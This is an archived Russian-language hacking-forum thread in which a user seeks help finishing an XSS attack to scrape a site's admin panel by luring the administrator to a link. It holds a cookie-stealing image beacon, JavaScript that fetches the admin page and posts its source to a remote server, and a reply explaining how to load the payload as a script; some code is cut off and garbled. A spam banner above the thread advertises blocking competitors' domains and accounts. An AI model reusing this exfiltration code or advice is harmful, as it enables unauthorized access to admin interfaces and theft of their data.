УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
XSS => Код страницы

Опции темы

Поиск в этой теме

Опции просмотра

12.05.2017, 21:43

Elva

Guest

Сообщений: n/a

Провел на форуме:
5299

Репутация: 0

1. На "sub.domen.com" расположен html файл со скриптом.

Саб является админкой. На куке http only.

Скрипт

Код:

Code:
img = new Image(); img.src = "https://domen.com/img.gif?"+document.cookie;

Отредактировать файл нельзя.

Залить новый нельзя.

2. Есть код для получения исходника страницы и передачи на удаленный сервер

Код:

Code:
var xhr = new XMLHttpRequest();
   xhr.open('GET', 'https://sub.domen.com/', true);
   xhr.send(null);
   xhr.onreadystatechange = function() {
  if (xhr.readyState == 4) {
  if(xhr.status == 200) {
           var fhr = new XMLHttpRequest();
           fhr.open('POST', 'http://remoteserver.com/i.php', true);
           fhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
           fhr.withCredentials = true;
           var body = 'file=' + escape(xhr.responseText);
           var aBody = new Uint8Array(body.length);
           for (var i = 0; i ", FILE_APPEND);
?>

Задача

Доделать js скрипт парсинга страницы, чтобы в дальнейшем его подставить на место img.gif и спарсить админку, подогнав админа на линк.

Что необходимо сделать, чтобы скрипт сработал?[/I]

12.05.2017, 22:39

crlf

Guest

Сообщений: n/a

Провел на форуме:
169212

Репутация: 441

Никак, у тебя получается просто битая картинка. Нужно:

Код:

Code:
var script = document.createElement('script');
script.src = "https://domen.com/img.gif";

или

Код:

Code:

13.05.2017, 00:01

artkar

Guest

Сообщений: n/a

Провел на форуме:
131082

Репутация: 6

Непонял, ты сможешь подменить файл img.gif на https://domen.com?

« Предыдущая тема | Следующая тема »

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход